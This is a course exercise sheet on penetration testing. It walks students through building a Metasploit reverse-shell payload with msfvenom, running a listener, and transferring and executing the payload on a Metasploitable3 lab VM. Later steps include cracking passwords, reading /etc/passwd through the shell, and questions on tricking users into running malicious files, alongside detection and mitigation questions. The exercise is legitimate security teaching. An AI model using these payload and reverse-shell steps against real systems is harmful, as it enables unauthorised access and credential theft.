02 Exercises on Penetration Testing

Exercise 02

Pentesting intro: trying out metasploit
THIS DOCUMENTATION IS FOR EDUCATIONAL PURPOSES ONLY. USE AT YOUR OWN RESPONSIBILITY. AND ESPECIALLY: USE RESPONSIBLY.

02a Thinking About Threats

Check the use case from slide set 02 and discuss possible threats in groups. Discuss your findings afterwards with another group.

02b Pentesting intro: Tutorial on Metasploit

Recap: Virtual Machine Networking

(Virtual Box) Networking Options

Explain to your group or shortly write down the explanation for:

- Network Address Translation (NAT)
- NAT Network
- Bridged networking
- Host only

Prepping our Exercise: VM ip address

Which command would you use to get the IP in Linux?

Which command would you use to get the IP in Windows?

Inspect the whole network configuration of the Linux metasploitable VM, i.e., interfaces, ip addresses, routes.

Testing the Tools Presented in Class

As a warm up, please go through the slides and test out the commands provided. At least, look into:

- Using *John the Ripper* to brute-force Kali's password database. Make things more interesting by changing your password with the *passwd* command.

- Check for open sockets with *netstat* or *ss*. Start the apache2 web server and check again.
- Use *nmap* on Kali to find the other virtual machines.
- Perform all examples for *netcat*, i.e.,
    - Create a listener and connect to it from another terminal window cf. "Opening Pipes Over the Network".
    - Connect to a remote shell cf. "Opening a Shell Over the Network with netcat".
    - Perform the "Basic Reverse Shell" example.
    - Transfer a file with netcat.

Simulating Remote Access

For this tutorial, we will use the metasplot framework, which provides a large collection of payloads (for actions to be taken) and exploits (for transmitting the payloads) amongst many other tools.

The tutorial is about the payload, not about a hacking-process leading to the deployment of the payload. Therefore, we apply the following steps.

1. We create a payload, which will establish a connection to the hacking VM
2. Get this payload to the target machine
3. Have a listener running on the attacker's machine, which will receive the connection.
4. Finally execute the payload from the target machine.
5. And then explore the abilities of metasploit's meterpreter.

In this scenario, the "metasploitable" VM is acting as target machine. It doesn't provide the metasploit framework, but an attack surface for it. The Kali VM is in the role of the attacker's machine. Here, the metasploit framework is pre-installed.

One of the questions you will be facing below is which ip addresses and ports to supply below. Please orient yourself using the tools presented on the lecture slides, assuming that the payload has the task to connect to the attacker's machine. Log in to all relevant machines to gather the relevant information.

Creating a Playload to Establish Remote Acess

Task: create a malicious executable file (.exe for windows). We will test the malicious executable with our Linux Metasploitable3 VM, to see if we can use the malicious code to

access an end-users system. The process on a Windows or other machine would be analogous, just selecting a different payload, fitting the machine type and OS.

First create the malicious executable:

```
msfvenom     -p linux/x86/meterpreter/reverse_tcp     -a x86 --platform linux -
```

For a windows x86 machine, the command would be:

```
msfvenom     -p windows/meterpreter/reverse_tcp     -a x86 --platform windows -
```

Please use "--help" and "man" to get further information on the options used. Can you explain the difference in the parameter of the "-f" option? What is it good for?
Note: normally I'd use backslashes to indicate that the command is spreading over multiple input lines, but itslearning fails here.

Now, if the target machine runs this malicious executable, we can remotely access the target machine using metasploit. How do you get the targeted user to execute our malicious payload?

Setting up a Listener

The above malicious code is trying to access to configured host/port combination, awaiting further instructions. Therefore, we have to provide a server the malicious code can connect to. Can you explain why the connection is preferred in this direction?

Enter metasploit by typing:

```
msfconsole
```

In metasploit, type in the following commands:

```
use multi/handler
```

```
set payload linux/x86/meterpreter/reverse_tcp
```

Type in "show options" to see which parameters you have to set to make this work. Notice that LHOST and RPORT are described as being required. So set your LHOST and LPORT to your host machine by for example, typing,

```
set LHOST eth0
```

```
set LPORT 8080
```

of course, making sure that the ethernet interface eth0 matches the ip used during payload creation (or directly use the ip!). And the same is true for the port number.

Now, type “run” or “exploit” and press Enter. Then, metasploit will wait until your target machine runs your malicious executable. This malicious executable will then connect to the server we just now started, which will then provide us with a "Meterpreter" shell.

Tricking the User to Execute the Malicious Executable

This is, admittedly, the lame part in this simulation, as you are also the user on the targeted machine. So don't make it too hard for yourself.
But you can also think about this part in a different way, maybe you can execute simple commands remotely to pass on the payload to get a better grip on your target.

HINT: you need to find a way to get the malicious executable over to the Metasploitable3 VM--and to run the application. Normally, you would have to figure out a way to "trick" the user of Metasploitable3 to download and run the malicious executable. Or having it executed automatically.

In our case, login to the Metasploitable VM and use netcat to transfer the payload over. You can try to have the listener on the target and push over from the Kali VM or the other way around. Then use

```
chmod a+x payload.elf
```

```
./payload.elf
```

to manually execute the file.

Enjoying Your Connection

When you are at the Meterpreter prompt, you now have access to the user account. On the Meterpreter prompt type in "getuid" and you should see the "Server username: " . Also enter "sysinfo" to see more information about the system that you just hacked into. Find out more information that you can retrieve from the users account.

TASK: Is Metasploitable3 vulnerable to this exploit? Discuss in your group or shortly write down the following:

- How you tested the vulnerability in Metasploitable3. Provide information obtained from "sysinfo" to prove that you did get access into the specific machine.
- What the vulnerability or security problem really is
- Explain whether Metasploitable3 is vulnerable to this exploit.
- Explain how your client that is using the vulnerable machine (Metasploitable3) should mitigate the risks of falling prey to this exploit.
- Explain how you can make someone download and install the malicious file in his/her environment that is vulnerable as well as one that is not vulnerable.

Once you do have access to the Windows machine from Kali, tryout these metasploit commands.

Further Questions

- What is the practical use of this exercise? And why is the payload working in the way it is?
- Which folder are you in when you get the meterpreter prompt? And what is the system-information?
- To user and the owner of this system how would you mitigate this attack?
- Now that you have access to the Metasploitable machine what else can we do? Get the list of users on this server, using a shell prompt by typing "shell" into the Meterpreter shell.

  ```
  meterpreter > shell
  ```

  Hints:

  1. Under Linux check [slash]etc[slash]passwd (sorry, itslearning tries to block dangerous content...), under Windows, type "net users".
  2. To go back to the meterpreter prompt enter "exit"

- Using the meterpreter shell, check the output of the "arp" command. What do you find?
- At the meterpreter prompt type in help to see a list of commands. Also look at the this link for other commands. For Windows machines, there is for example the winenum command.
- Now lets be on the other side of the fence and investigate suspicious connections to our metasploitable server.
  Which command can you use to see network status and connections?
  Is there an anomaly or suspicious connection to our server? What makes it suspicious?
- How you would test the vulnerability of an AppleTV using metasploit? Discuss in a group or write the procedure down.